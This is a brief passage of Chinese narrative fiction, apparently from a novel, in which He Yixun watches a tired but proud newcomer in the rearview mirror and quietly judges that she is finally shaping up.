何亦寻坐在副驾驶位,依旧沉默寡言,但透过车内后视镜,他能看到那个女孩虽然疲惫,却努力挺直背脊,脸上带着掩饰不住的、带着点小骄傲的灿烂笑容,那双眼睛在夜色中亮得惊人。 他收回目光,看向窗外飞速掠过的夜景,嘴角似乎极其微弱地、无人察觉地向上弯了一下。 淬火成钢。 这个新人,好像……终于有点样子了。